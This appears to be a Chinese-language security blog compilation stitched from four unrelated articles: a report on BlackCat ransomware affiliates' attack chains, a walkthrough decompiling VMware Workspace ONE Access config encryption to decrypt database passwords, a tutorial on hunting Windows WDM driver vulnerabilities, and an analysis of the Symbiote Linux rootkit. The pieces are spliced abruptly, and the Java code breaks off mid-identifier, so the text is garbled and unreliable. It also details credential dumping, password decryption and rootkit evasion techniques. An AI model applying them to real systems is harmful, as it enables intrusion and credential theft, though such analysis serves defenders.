擴大攻擊面兩天半後,攻擊者通過交互式登錄使用洩露的憑據登錄了他們在初始發現工作中發現的目標設備。他們選擇了一種憑據盜竊技術,該技術不需要刪除防病毒產品可能檢測到的Mimikatz 之類的文件。相反,他們打開了Taskmgr.exe,創建了LSASS.exe 進程的轉儲文件,並將文件保存到ZIP 壓縮文件中。

攻擊者使用ADRecon (ADRecon.ps1) 的PowerShell 腳本版本繼續他們之前的發現工作,該工具旨在收集有關Active Directory (AD) 環境的大量信息。攻擊者使用網絡掃描工具跟進此操作,該工具在服務器消息塊(SMB) 和遠程桌面協議(RDP) 上打開與組織中設備的連接。對於發現的設備,攻擊者試圖導航到各種網絡共享,並使用遠程桌面客戶端(mstsc.exe) 登錄這些設備,再次使用洩露的帳戶憑據。

這些行為持續了好幾天,攻擊者登錄整個組織的眾多設備,轉儲憑據,並確定他們可以訪問哪些設備。

竊取並公開信息在攻擊者登錄的許多設備上,他們試圖從該組織收集和竊取大量數據,包括域設置、信息和知識產權。為此,攻擊者使用了MEGAsync和Rclone,它們被重命名為合法的Windows進程名稱(例如,winlogon.exe, mstsc.exe)。

提取區域信息以識別橫向運動目標收集域信息允許攻擊者進一步進行攻擊,因為所述信息可以識別橫向移動的潛在目標,或幫助攻擊者發現勒索病毒有效負載的目標。為此,攻擊者再次使用帶有大量PowerShell cmdlet 的ADRecon.ps1,例如:

Get-ADRGPO——獲取域中的組策略對象(GPO);

Get-ADRDNSZone——獲取域中的所有DNS 區域和記錄;

Get-ADRGPLink——獲取應用於域中管理範圍的所有組策略鏈接;

此外,攻擊者釋放並使用ADFind.exe命令來收集個人、計算機、組織單位和信任信息,並ping通數十個設備來檢查連接。

雙重勒索為了雙重勒索,攻擊者以SQL數據庫為目標,收集數據。他們還瀏覽了他們可以訪問的每個設備的目錄和項目文件夾,然後竊取了他們在這些設備中找到的數據。

贖金要求攻擊者從最初的攻擊到部署勒索軟件足足花了兩週時間,因此,有必要對警報活動進行分類和檢查,以了解攻擊者從他們的活動中獲得的賬戶和訪問範圍。使用PsExec.exe傳播勒索軟件負載被證明是最常見的攻擊方法。

7.png

成功感染後,BlackCat顯示的贖金提示

案例研究2:通過盜竊的憑證發起攻擊在這個案例中,研究人員發現了一個勒索軟件附屬公司通過一個面向互聯網的遠程桌面服務器使用被攻擊的憑據登錄獲得了對環境的初始訪問權。

8.png

通過被盜憑證觀察到BlackCat勒索軟件攻擊鏈

擴大攻擊面一旦攻擊者獲得對目標環境的訪問權,他們就使用SMB複製並啟動Total Deployment Software管理工具,從而允許遠程自動化軟件部署。安裝此工具後,攻擊者使用它安裝遠程桌面軟件應用程序ScreenConnect(現稱為ConnectWise)。

竊取憑據ScreenConnect用於在設備上建立遠程會話,允許攻擊者進行交互控制。在他們的控制下,攻擊者使用cmd.exe來更新註冊表,以允許通過WDigest進行明文認證,從而節省了攻擊者不需要破解密碼哈希值的時間。不久之後,他們使用任務管理器轉儲lasss .exe進程來竊取密碼,現在是明文形式。

八小時後,攻擊者重新連接到設備並再次竊取憑據。然而,這一次,他們放棄並啟動了Mimikatz 用於憑證盜竊例程,可能是因為它可以獲取存儲在LSASS.exe 之外的憑證。攻擊者隨後退出。

持久性和加密之後,攻擊者使用他們新創建的用戶帳戶登錄,並開始釋放和啟動勒索軟件有效載荷。此帳戶還將作為ScreenConnect 及其在環境中的其他立足點之外的額外持久性手段,以允許他們在需要時重新建立自己的存在。如果訪問權限未完全修復,勒索軟件攻擊者不會兩次勒索同一組織。

Chrome.exe 用於導航到託管BlackCat 有效負載的域。值得注意的是,文件夾結構包括組織名稱,表明這是專門為組織預先準備的有效負載。最後,攻擊者在設備上啟動了BlackCat 有效載荷來加密其數據。

勒索軟件附屬機構部署BlackCat除了前面討論的事件外,我們還觀察到與勒索軟件部署相關的兩個最多產的附屬組織已轉向部署BlackCat。負載切換是一些RaaS附屬公司的典型做法,以確保業務連續性或有更好的利潤可能性。不幸的是,對於組織而言,這種採用進一步增加了檢測相關威脅的挑戰。

Microsoft 將這些附屬組織命名為DEV-0237。 DEV-0237 也稱為FIN12,該組織以傳播Hive、Conti 和Ryuk 勒索軟件而聞名。研究人員觀察到,該組織從2022年3月開始將BlackCat加入了他們的分佈式有效負載清單。他們從上次使用的有效負載(Hive) 切換到BlackCat 被懷疑是由於圍繞後者解密方法的公開討論。

DEV-0504是另一個活躍的附屬組織,我們看到他們轉向BlackCat進行勒索軟件攻擊。像許多RaaS附屬組一樣,在DEV-0504攻擊中可能會觀察到以下TTP:

可能涉及附屬機構遠程登錄到憑據被攻擊的設備的入口向量,例如登錄到運行允許遠程工作的軟件解決方案的設備;

攻擊者利用他們的訪問權限對域進行發現;

可能使用初始被盜帳戶的橫向移動;

使用Mimikatz 和Rubeus 等工具竊取憑據;

DEV-0504 通常會使用StealBit 等惡意工具從組織中竊取他們入侵的設備上的數據——通常稱為“send.exe”或“sender.exe”。然後使用PsExec 傳播勒索軟件有效負載。觀察到該組織在2021 年12 月開始採用BlackCat 之前交付了以下贖金:

BlackMatter;

Conti;

LockBit 2.0;

Revil;

Ryuk;

BlackCat勒索軟件的緩解措施BlackCat勒索軟件攻擊已經變得越來越流行,因為它們通過RaaS附屬模型不斷增長的工業化和雙重勒索的增加趨勢。我們所觀察到的與“BlackCat”勒索軟件相關的事件利用了這兩個因素,使得這種威脅對傳統的安全和防禦方法來說是持久的,這些方法只專注於檢測勒索軟件的有效負載。因此,組織必須改變他們的防禦策略,以防止端到端攻擊鏈。如上所述,雖然攻擊者的入口點可能不同,但他們的TTP 基本保持不變。此外,這些類型的攻擊繼續利用組織糟糕的錯誤配置來發起攻擊。

截至目前,在觀察到的與BlackCat相關的事件中,勒索軟件附屬機構的常見入口是通過被洩露的憑證來訪問面向互聯網的遠程訪問軟件和未打補丁的Exchange服務器。因此,維護人員應該檢查其組織的身份,仔細監視外部訪問,並在其環境中找到易受攻擊的Exchange服務器,以便盡快進行更新。

0x00 前言在上篇文章《VMware Workspace ONE Access漏洞调试环境搭建》 提到連接數據庫的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中,本文將要基於調試環境,分析加密流程,介紹詳細的解密方法。

0x01 簡介本文將要介紹以下內容

加密流程

解密方法

數據庫操作

0x02 加密流程1.定位關鍵文件經過一段時間的尋找,找到實現加密功能對應的文件為/opt/vmware/certproxy/lib/horizon-config-encrypter-0.15.jar

反編譯獲得加密的實現代碼如下:

publicfinalStringencrypt(byte[]data){

if(data!=nulldata.length!=0){

if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){

log.error('Nocustomencryptionkeysavailable,abortingencrypt.');

returnnull;

}else{

CipherencryptCipher=this.getEncryptCipher();

try{

if(encryptCipher!=null){

byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data));

ByteBufferkeyBuffer=ByteBuffer.allocate(2);

keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

utf8=ArrayUtils.addAll(keyBuffer.array(),utf8);

utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

byte[]dec=Base64.encodeBase64(utf8);

returnnewString(dec,StandardCharsets.US_ASCII);

}

}catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){

log.error(var6.getMessage(),var6);

}

returnnull;

}

}else{

returnnull;

}

}2.動態調試

為了提高分析效率,採取動態調試的方法,流程如下:

(1)新建Java工程

下載VMware Workspace ONE Accessd服務器中/opt/vmware/certproxy/lib/下的所有jar文件並保存,在Java工程導入以上jar文件

新建package:com.vmware.horizon.common.utils.config

新建文件ConfigEncrypterImpl.java,內容如下:

packagecom.vmware.horizon.common.utils.config;

importcom.google.common.annotations.VisibleForTesting;

importcom.vmware.horizon.api.ConfigEncrypter;

importcom.vmware.horizon.random.SecureRandomUtils;

importcom.vmware.horizon.security.SecurityProviderHelper;

importjava.nio.ByteBuffer;

importjava.nio.charset.Charset;

importjava.nio.charset.StandardCharsets;

importjava.security.InvalidAlgorithmParameterException;

importjava.security.InvalidKeyException;

importjava.security.NoSuchAlgorithmException;

importjava.security.SecureRandom;

importjavax.annotation.Nonnull;

importjavax.annotation.Nullable;

importjavax.crypto.BadPaddingException;

importjavax.crypto.Cipher;

importjavax.crypto.IllegalBlockSizeException;

importjavax.crypto.NoSuchPaddingException;

importjavax.crypto.SecretKey;

importjavax.crypto.spec.IvParameterSpec;

importjavax.crypto.spec.SecretKeySpec;

importorg.apache.commons.codec.binary.Base64;

importorg.apache.commons.lang3.ArrayUtils;

importorg.apache.commons.lang3.StringUtils;

importorg.bouncycastle.crypto.fips.FipsUnapprovedOperationError;

importorg.slf4j.Logger;

importorg.slf4j.LoggerFactory;

publicclassConfigEncrypterImplimplementsConfigEncrypter{

publicstaticfinalCharsetencodingCharset;

privatestaticfinalLoggerlog;

privatestaticfinalSecureRandomsrand;

privatestaticConfigEncrypterImplstaticKeyInstance;

privatestaticfinalConfigEncrypterImplrandomKeyInstance;

privatestaticfinalObjectkeyInstanceLock;

privateConfigEncrypterKeyMgmtkeyMgmt;

privatestaticConfigEncrypterImplcreateRandomKeyInstance(){

SecurityProviderHelper.initializeSecurityProvider();

returnnewConfigEncrypterImpl(false);

}

publicstaticConfigEncrypterImplgetInstance(){

synchronized(keyInstanceLock){

if(staticKeyInstance==null){

staticKeyInstance=newConfigEncrypterImpl(true);

}

returnstaticKeyInstance;

}

}

publicstaticConfigEncrypterImplgetRandomKeyInstance(){

returnrandomKeyInstance;

}

privateConfigEncrypterImpl(booleanuseStaticKey){

if(useStaticKeyBoolean.parseBoolean(ConfigPropertiesUtil.getProperties().getProperty('components.configEncrypter.kms.enable'))){

log.info('Notinitializingstaticconfigkeystore.UsingKMSforsecureconfigproperties');

this.keyMgmt=null;

}else{

this.keyMgmt=newConfigEncrypterKeyMgmt(useStaticKey);

}

}

@VisibleForTesting

ConfigEncrypterImpl(ConfigEncrypterKeyMgmtkeyMgmt){

this.keyMgmt=keyMgmt;

}

@Nullable

publicfinalStringdecrypt(Stringdata){

if(StringUtils.isBlank(data)){

returnnull;

}else{

byte[]encrypted=data.getBytes(encodingCharset);

booleanb64;

try{

b64=Base64.isBase64(encrypted);

}catch(ArrayIndexOutOfBoundsExceptionvar11){

b64=false;

}

if(b64){

encrypted=Base64.decodeBase64(encrypted);

}

if(ArrayUtils.isEmpty(encrypted)){

returnnull;

}else{

intcipherVersion=Math.abs(encrypted[0]);

CipherdecryptCipher=null;

if(cipherVersion=this.getKeyMgmt().getMinCipherVersion()cipherVersion0){

returnnewString(utf8,encodingCharset);

}

log.debug('zerolengthdecryption');

}catch(BadPaddingExceptionvar7){

log.debug('Failedtodecryptthegivenvalue(padding)');

}catch(IllegalBlockSizeExceptionvar8){

log.debug('Failedtodecryptthegivenvalue(blocksize)');

}catch(ArrayIndexOutOfBoundsExceptionvar9){

log.debug('Failedtodecryptthegivenvalue(macverification)');

}catch(IllegalStateExceptionvar10){

log.debug('Failedtodecryptthegivenvalue(illegalstate)');

}

}

returnnull;

}

}

}

@Nullable

publicfinalStringencrypt(@NonnullStringdata){

returnStringUtils.isBlank(data)?null:this.encrypt(data.getBytes(encodingCharset));

}

@Nullable

publicfinalStringencrypt(byte[]data){

if(data!=nulldata.length!=0){

if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){

log.error('Nocustomencryptionkeysavailable,abortingencrypt.');

returnnull;

}else{

CipherencryptCipher=this.getEncryptCipher();

try{

if(encryptCipher!=null){

byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data));

ByteBufferkeyBuffer=ByteBuffer.allocate(2);

keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

utf8=ArrayUtils.addAll(keyBuffer.array(),utf8);

utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

byte[]dec=Base64.encodeBase64(utf8);

returnnewString(dec,StandardCharsets.US_ASCII);

}

}catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){

log.error(var6.getMessage(),var6);

}

returnnull;

}

}else{

returnnull;

}

}

@Nullable

privateCiphergetDecryptCipher(intcipherVersion,byte[]decryptionKey,byte[]iv){

CipherdecryptCipher=null;

if(!ArrayUtils.isEmpty(iv)){

try{

decryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(cipherVersion),SecurityProviderHelper.getJceProvider());

IvParameterSpecivSpec=newIvParameterSpec(ArrayUtils.subarray(iv,0,this.getKeyMgmt().getCipherNonceSize(cipherVersion,decryptCipher.getBlockSize())));

SecretKeysecret=newSecretKeySpec(decryptionKey,this.getKeyMgmt().getCipher(cipherVersion));

decryptCipher.init(2,secret,ivSpec,srand);

}catch(InvalidAlgorithmParameterException|InvalidKeyException|NoSuchAlgorithmException|NoSuchPaddingException|IllegalArgumentException|FipsUnapprovedOperationErrorvar7){

log.error(var7.getMessage(),var7);

decryptCipher=null;

}

}

returndecryptCipher;

}

@Nullable

privateCiphergetEncryptCipher(){

CipherencryptCipher=null;

try{

encryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(),SecurityProviderHelper.getJceProvider());

byte[]iv=newbyte[this.getKeyMgmt().getCipherNonceSize(encryptCipher.getBlockSize())];

srand.nextBytes(iv);

SecretKeysecret=newSecretKeySpec(this.getKeyMgmt().getKey(),this.getKeyMgmt().getCipher());

IvParameterSpecivSpec=newIvParameterSpec(iv);

encryptCipher.init(1,secret,ivSpec,srand);

}catch(InvalidAlgorithmParameterException|IllegalArgumentException|NoSuchPaddingException|NoSuchAlgorithmException|InvalidKeyException|FipsUnapprovedOperationErrorvar5){

log.error(var5.getMessage(),var5);

}

returnencryptCipher;

}

@VisibleForTesting

ConfigEncrypterKeyMgmtgetKeyMgmt(){

returnthis.keyMgmt;

}

@VisibleForTesting

publicvoidsetCustomEncryptionKeyst

驅動程序中的每一個漏洞本質上都是Windows內核中的一個漏洞,因為每個驅動程序都共享內核的內存空間。擁有了在內核中運行代碼、從模型寄存器讀寫或複制特權訪問令牌的能力實際上是擁有了系統。本文將介紹在WDM驅動程序中發現漏洞的方法,然後通過kAFL利用內核模糊。大多數漏洞似乎都在WDM或KMDF中。

在本博客的每一部分中,我們都將從基礎開始,比如熟悉相關的API和數據結構。

WDMWindows驅動程序模型(WDM)是最古老的,也是最常用的驅動程序框架。每個驅動本質上都是一個WDM驅動;較新的框架WDF (Windows Driver framework)封裝了WDM,簡化了WDM的開發過程,解決了WDM的多種技術難題。在檢查WDM驅動程序時,我們關心的主要事情是如何與它們通信;幾乎驅動程序中的每個漏洞都涉及到一些從非特權用戶到驅動程序本身的通信。

在示例中,這是名為“testy”的驅動程序的入口點:

1.png

經典的DriverEntry代碼,注意,對IoCreateDevice的調用沒有FILE_DEVICE_SECURE_OPEN標誌

這段代碼是每個WDM驅動都有的DriverEntry函數的普通架構。第一個參數是DriverObject結構指針,用於設備創建和調度例程初始化。接下來,驅動程序有MajorFunction成員,它是一個函數指針數組,用於為不同的事件分配調度例程。此外,我們還有將在下一節中介紹的關鍵設備創建例程。

設備創建和初始化驅動程序首先通過調用IoCreateDevice 創建設備,這將在對像管理器中創建一個DEVICE_OBJECT。在Windows 中,設備對象表示驅動程序處理I/O 請求的邏輯、虛擬或物理設備。所有這些聽起來都不錯,但如果我們希望它從普通用戶的角度進行交流,這還不夠;為此,我們調用IoCreateSymbolicLink,它將在對像管理器中創建一個DoS 設備名稱,使用戶能夠通過該設備與驅動程序進行通信。但是,有些設備沒有正常的名稱;它們具有自動生成的名稱(在PDO 中完成)。對於沒有經驗的檢測人員來說,它們可能看起來很奇怪,所以如果你在你最喜歡的設備中第一次看到它們,請查看軟件,並在設備名稱列中查看8 位十六進制。這些設備可以像其他所有命名設備一樣進行交互。

2.webp.jpg

展示WinObjEx 設備命名空間

在設備創建例程中要注意的最重要的事情是程序員是否為設備分配了ACL 以及DeviceCharacteristics 的值。

不幸的是,IoCreateDevice方法不允許程序員指定任何ACL,這是不好的。因此,開發人員必須在註冊表或驅動程序的ini文件中定義一個ACL。如果他們不能這樣做,任何用戶都可以訪問設備。然而,使用IoCreateDeviceSecure方法可以緩解這種情況。

除此之外,我們還需要查看第五個參數,即DeviceCharacteristics 。如果DeviceCharacteristics 的值沒有與0x00000100 或FILE_DEVICE_SECURE_OPEN 進行OR 運算,我們可能會面臨安全漏洞(除非我們討論文件系統驅動程序或任何支持名稱結構的驅動程序)。這背後的原因是Windows 對待設備的方式;每個設備都有自己的命名空間。設備命名空間中的名稱是以設備名稱開頭的路徑。對於名為\Device\DeviceName 的設備,其命名空間由“\Device\DeviceName\anyfile”形式的任何名稱組成。

如圖1所示,沒有FILE_DEVICE_SECURE_OPEN標誌的IoCreateDevice調用意味著設備ACL不應用於打開設備命名空間內文件的文件請求。換句話說,即使我們在通過IoCreateDeviceSecure或其他方式創建設備時指定了強ACL,該ACL也不會應用於打開文件請求。結果,我們並沒有真正得到我們想要的,所以使用\Device\testydrv 調用CreateFile 會失敗,但使用“\device\testydrv\anyfile”調用會成功,因為IoManager 沒有應用設備ACL到創建請求(因為它假設它是一個文件系統驅動程序)。對於初學者來說,它被認為是一個值得修復的漏洞。此外,這將導致非管理員用戶嘗試讀/寫設備,執行DeviceIoControl 請求等等,這通常是你不希望非管理員用戶做的事情。

更好的用戶保護我們可以通過調用IoCreateDeviceSecure(或WdmlibIoCreateDeviceSecure;它是相同的函數),使用安全描述符防止非管理員用戶打開設備句柄,並在創建例程中使用FILE_DEVICE_SECURE_OPEN值。這也將為我們省去在註冊表中聲明設備權限的麻煩,就像我們在IoCreateDevice 中需要的那樣。

3.png

我們應該如何創建設備

從尋找漏洞的角度來看,我們應該列舉系統中每一個可能的設備,然後嘗試用GENERIC_READ | GENERIC_WRITE打開它,這允許我們過濾掉不能與之通信的設備。

調度方法創建設備很好,但僅僅與驅動程序通信是不夠的,還需要IRP。驅動程序代表IoManager 接收IRP、I/O 請求數據包以用於特定觸發器。例如,如果應用程序嘗試打開設備句柄,IoManager 將調用分配給驅動程序對象的相關調度方法。因此,它允許每個驅動程序為其創建的每個設備支持多個不同的MajorFunction。大約有30 種不同的MajorFunction。如果算上已棄用的IRP_MJ_PNP_POWER,每個都代表不同的事件。我們將只關注其中兩個MajorFunction 方法,並添加關於其餘方法的簡短描述,這是我們在尋找漏洞時應該注意的地方。

4.png

基本的驅動程序調度表分配

調用IRP_MJ_CREATE在我們深入研究最有趣的目標之前,即IRP_MJ_DEVICE_CONTROL,我們將從IRP_MJ_CREATE 開始。每個內核模式驅動程序都必須在驅動程序調度回調函數中處理IRP_MJ_CREATE。驅動程序必須實現IRP_MJ_CREATE,因為沒有它,你將無法打開設備或文件對象的句柄。

正如你可能猜到的,當你調用NtCreateFile 或ZwCreateFile 時會調用IRP_MJ_CREATE 調度例程。在大多數情況下,它將是一個空存根,並根據設備的ACL 返回一個帶有請求的DesiredAccess 的句柄。

5.png

典型的DistpachCreate強制方法

但是,在某些情況下,會涉及更複雜的代碼,即使你滿足設備的ACL 標準,你也可能會收到類似STATUS_INVALID_PARAMETER 的狀態漏洞,因為你在調用NtCreateFile 時使用了不正確的參數。

不幸的是,這表明你不能盲目打開設備,希望通過DeviceIoControl與驅動程序通信;你首先需要了解它的預期參數。通常,DispatchCreate 需要一些ExtendedAttributes(不能為此使用常規CreateFile)或特定文件名(除了設備名稱)。因此,我們必須訪問DispatchCreate 方法。

6.webp.jpg

顯示檢查是否存在名為“StorVsp-v2”的擴展屬性以及值字段的長度是否為0x19 字節長。因此,驅動程序是StorVsp.sys

除了打開句柄之外,你還可以在DispatchCreate中查找漏洞。函數變得越複雜,內存分配和釋放漏洞的可能性就越高,特別是因為DispatchCreate並不經常被檢查。

我們在尋找驅動程序中的漏洞時採取的一般方法是:

枚舉每個設備對象:

嘗試使用最寬鬆的DesiredAccess 打開它;

如果失敗,檢查狀態碼;如果不是STATUS_ACCESS_DENIED,你可能仍然可以通過做一些手動工作並更改一些參數來打開句柄;

通過遵循這個簡單的算法,我們將擁有一個包含大約70 個設備的列表,我們可以從非管理員的角度與之交談。當然,這個數字會因不同的Windows 設備而異,因為OEM 驅動程序和許多類型的軟件也會安裝驅動程序。

使用ioctls控制設備雖然ioctls很少讓你完全控制設備/驅動程序,但它實際上是應用程序與驅動程序通信的方式。驅動程序可以創建兩種ioctl調度例程:

7.png

設備控制方法的典型用法

唯一重要的方法是TestyDispatchIoctl,因為我們不能用任意參數發起對IoBuildDeviceIoControlRequest或IIoAllocateIrp的調用,這是觸發IRP_MJ_INTERNAL_DEVICE_CONTROL主函數的函數。如果是,那是因為內部調度方法很少經過適當的測試。

與DriverObject的任何調度方法一樣,它從IoManager接收兩個參數。

8.png

WDM驅動程序中的每個調度方法共享相同的函數簽名

第一個是我們對其執行CreateFile 操作的設備對象,第二個是指向IRP 的指針。從漏洞研究的角度來看,IRP 封裝了用戶數據和我們並不真正關心的許多其他內容。我們在這里關心的主要是從用戶模式發送哪些參數。如果我們看一下NtDeviceIoControlFile 的簽名,我們可以猜測在尋找驅動程序中的漏洞時我們關心哪些字段:

9.png

DeviceIoControl API

這種方法的主要問題是輸入/輸出緩衝區、它們的長度和Ioctl代碼本身。我們從Ioctl代碼開始,它是一個充當說明符的32位數字;它描述了緩衝區和長度如何被使用/複製到內核,所需的DesiredAccess(當你打開一個設備句柄時)和一個函數指示器。示例如下:

10.webp.jpg

FileTest.exe工具的圖像,顯示了32 Ioctl編號的位域

我們可以看到ioctl代碼是0x1000,翻譯過來就是:

DeviceType:FileDevice_0:它與我們無關;

Function:0:與我們無關;

Method:METHOD_NEITHER:它與我們相關,因為它描述了imanager如何將數據傳輸到內核;

Access:FILE_ANY_ACCESS:它與我們相關,因為它定義了你需要對句柄擁有的所需訪問權限。如果你沒有正確的訪問權限,那麼IoManager 將不允許調用發生並返回AccessDenied。有四個不同的值:

FILE_ANY_ACCESS:無論DesiredAccess 參數如何,你始終擁有設備句柄;

FILE_READ_DATA:你使用GENERIC_READ 請求了一個句柄並獲得了一個有效的句柄;

FILE_WRITE_DATA:你使用GENERIC_WRITE 請求了一個句柄並獲得了一個有效的句柄;FILE_READ_DATA | FILE_WRITE_DATA:不言自明;你需要這兩種權利;

在\Device\VfpExt 的句柄上運行此DeviceIoControl 請求將導致BSoD,無論你的權限級別如何,在理解了圖3中的Method字段之後,我們將看到其中的原因。

Method/TransferTypeMethod/TransferType被稱為萬惡之母,這聽起來有些誇大其詞,但不幸的是,事實確實如此。傳輸類型的方法,即ioctl 32位數中的兩個最低有效位,指示IoManager 在內核中引用參數(緩衝區和長度)的方式。與訪問字段一樣,有四個不同的選項:

(1)METHOD_NEITHER,兩個位都是打開的:IoManager 是惰性的,不對緩衝區及其長度進行檢查。緩衝區不會復製到驅動程序並駐留在用戶模式下。因此,用戶可以隨意操縱緩衝區的長度並釋放/分配他們的頁面,這將導致許多糟糕的事情:系統崩潰和權限提升,除非正確探測緩衝區。如果你看到一個驅動程序沒有探測緩衝區,而是使用METHOD_NEITHER,那肯定存在漏洞。

(2) METHOD_BUFFERED,沒有一個位是打開的:IoManager將輸入/輸出緩衝區及其長度複製到內核,這使得它更加安全,因為用戶不能隨意換出緩衝區或更改它們的內容和長度。之後,輸入/輸出緩衝區指針被分配給IRP。

(3) METHOD_IN_DIRECT和(4)METHOD_OUT_DIRECT兩個位中的一個是打開的:這兩個非常相似;imanager會像METHOD_BUFFERED那樣分配輸入緩衝區。對於輸出緩衝區,IoManager探測緩衝區並檢查虛擬地址在當前訪問模式下是否可寫或可讀。然後,它鎖定內存頁並將指針傳遞給IRP。

讓我們看看驅動程序如何訪問用戶模式緩衝區並查看一個快速漏洞,它說明了在驅動程序中沒有進行適當的安全檢查的漏洞。

11.png

在這裡我們可以看到我們應該如何關聯驅動程序中的每個緩衝區關於描述方法和傳輸類型的Ioctl 代碼

由於驅動程序通常可以支持多個ioctl 代碼,因此對於每個不同的ioctl 代碼,它都有一個大的switch case,影響緩衝區在內存中的存儲位置。在下一節中,我們將看到如果我們不注意會發生什麼。

symbiote-linux-threat-intezer-blog-graphic-1024x475px.png

幾個月前,Intezer的安全研究人員Joakim Kennedy和BlackBerry威脅研究與情報團隊發現了一種新出現的且從未被檢測到的Linux惡意軟件,研究人員已將其命名為Symbiote。

Symbiote 與通常遇到的其他Linux 惡意軟件的不同,它需要感染其他正在運行的進程才能對受感染的設備發起攻擊。它不是一個運行以感染設備的獨立可執行文件,而是一個共享對象(SO) 庫,它使用LD_PRELOAD (T1574.006) 加載到所有正在運行的進程中,然後通過寄生的方式潛入設備實施攻擊。一旦它感染了所有正在運行的進程,它就會獲得攻擊目標的rootkit 功能、獲取憑證的能力和遠程訪問能力。

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

Symbiote的首次出現最早發現Symbiote 是在2021 年11 月,它似乎是針對拉丁美洲的金融部門而編寫的。一旦感染成功,它就會隱藏起來。由於惡意軟件隱藏了所有文件、進程和網絡構件,因此在受感染的設備上執行實時取證可能不會發現任何問題。除了rootkit 功能外,該惡意軟件還為攻擊者提供了一個後門,以使用硬編碼密碼以設備上的任何用戶身份登錄,並以最高權限執行命令。

截止發稿時,研究人員還未找到足夠的證據來確定Symbiote 是否被用於高度針對性或廣泛的攻擊。

Symbiote 的一個特殊之處是其Berkeley Packet Filter (BPF) 掛鉤功能。 Symbiote 並不是第一個使用BPF 的Linux 惡意軟件。例如, 方程式組織(Equation Group)開發的高級後門一直在使用BPF 進行隱蔽通信。然而,Symbiote 利用BPF 隱藏受感染設備上的惡意網絡流量。當管理員在受感染的設備上啟動任何數據包捕獲工具時,BPF 字節碼被注入內核,定義應該捕獲哪些數據包。在這個過程中,Symbiote 首先添加它的字節碼,這樣它就可以過濾掉它不希望數據包捕獲軟件看到的網絡流量。

逃避檢測Symbiote非常隱蔽,該惡意軟件被設計為通過LD_PRELOAD指令由鏈接器加載。這允許它在任何其他共享對象之前加載。由於它首先被加載,才可以從為應用程序加載的其他庫文件中“劫持導入”。 Symbiote 使用它通過掛鉤libc 和libpcap 函數來隱藏它在設備上的存在。逃避檢測過程如下圖所示。

1.png

Symbiote逃避檢測技術

Host 活動Symbiote 惡意軟件除了隱藏自己在設備上的存在外,還隱藏與可能與其一起部署的惡意軟件相關的其他文件。在二進製文件中,有一個RC4 加密的文件列表。調用掛鉤函數時,惡意軟件首先會動態加載libc 並調用原始函數。此邏輯用於所有掛鉤函數。具體示例如下圖所示。

2.png

從libc 解析readdir 的邏輯

如果調用應用程序試圖訪問/proc 下的文件或文件夾,惡意軟件會刪除其列表中進程名稱的輸出。下面列表中的進程名稱是從我們發現的樣本中提取的。

3.png

如果調用應用程序沒有嘗試訪問/proc 下的內容,則惡意軟件會從文件列表中刪除結果。從我們檢查的所有樣本中提取的文件顯示在下面的列表中。一些文件名與Symbiote 使用的文件名相匹配,而其他文件名與疑似是受感染設備上的攻擊者使用的工具的文件名相匹配。該列表包括以下文件。

4.png

通過LD_PRELOAD將Symbiote加載到進程中的一個後果是,像ldd 這樣的工具(一種打印每個程序所需的共享庫的實用程序)會將惡意軟件列為加載的對象。為了解決這個問題,惡意軟件掛鉤execve 並在環境變量LD_TRACE_LOADED_OBJECTS 設置為1 的情況下查找對該函數的調用。 ldd 的手冊頁是這樣解釋其中原因的:

通常情況下,ldd 調用標準動態鏈接器,並將LD_TRACE_LOADED_OBJECTS 環境變量設置為1。這會導致動態鏈接器檢查程序的動態依賴關係,並找到加載滿足這些依賴關係的對象。對於每個依賴項,ldd 顯示匹配對象的位置和加載它的十六進制地址。

當惡意軟件檢測到這一點時,它會像ldd 一樣執行加載程序,但它會從結果中刪除自己的條目。

網絡活動Symbiote 還具有隱藏受感染設備上的網絡活動的功能。它使用三種不同的方法來實現這一點。第一種方法涉及掛鉤fopen 和fopen64。如果調用應用程序嘗試打開/proc/net/tcp,惡意軟件會創建一個臨時文件並將第一行複製到該文件。然後,它掃描每一行,以確定是否存在特定端口。如果惡意軟件在它正在掃描的一行中找到了它正在搜索的端口,它就會跳到下一行。否則,該行被寫入臨時文件。一旦原始文件被完全處理,惡意軟件就會關閉文件,並將臨時文件的文件描述符返回給調用者。本質上,這給了調用進程一個清除的結果,它排除了惡意軟件想要隱藏的所有網絡連接條目。

Symbiote 用來隱藏其網絡活動的第二種方法是劫持任何注入的數據包過濾字節碼。 Linux 內核使用擴展的Berkeley Packet Filter (eBPF)來允許基於用戶域進程提供的規則進行數據包過濾。過濾規則以內核在虛擬機(VM) 上執行的eBPF 字節碼的形式提供。因為內核直接執行過濾,這最大限度地減少了內核和用戶空間之間的上下文切換,從而提高了性能。

如果受感染設備上的應用程序嘗試使用eBPF 執行數據包過濾,Symbiote 會劫持過濾過程。首先,它掛鉤了libc 函數setsockopt。如果使用選項SO_ATTACH_FILTER 調用該函數,該選項用於在套接字上執行數據包過濾,它會在調用應用程序提供的eBPF 代碼之前添加自己的字節碼。

代碼片段1 顯示了由其中一個Symbiote 樣本注入的字節碼的註釋版本。如果它們符合以下條件,則字節碼被釋放:

马云惹不起马云 IPv6(TCP 或SCTP)和src 端口(43253 或43753 或63424 或26424);

马云惹不起马云IPv6(TCP 或SCTP)和dst端口43253;

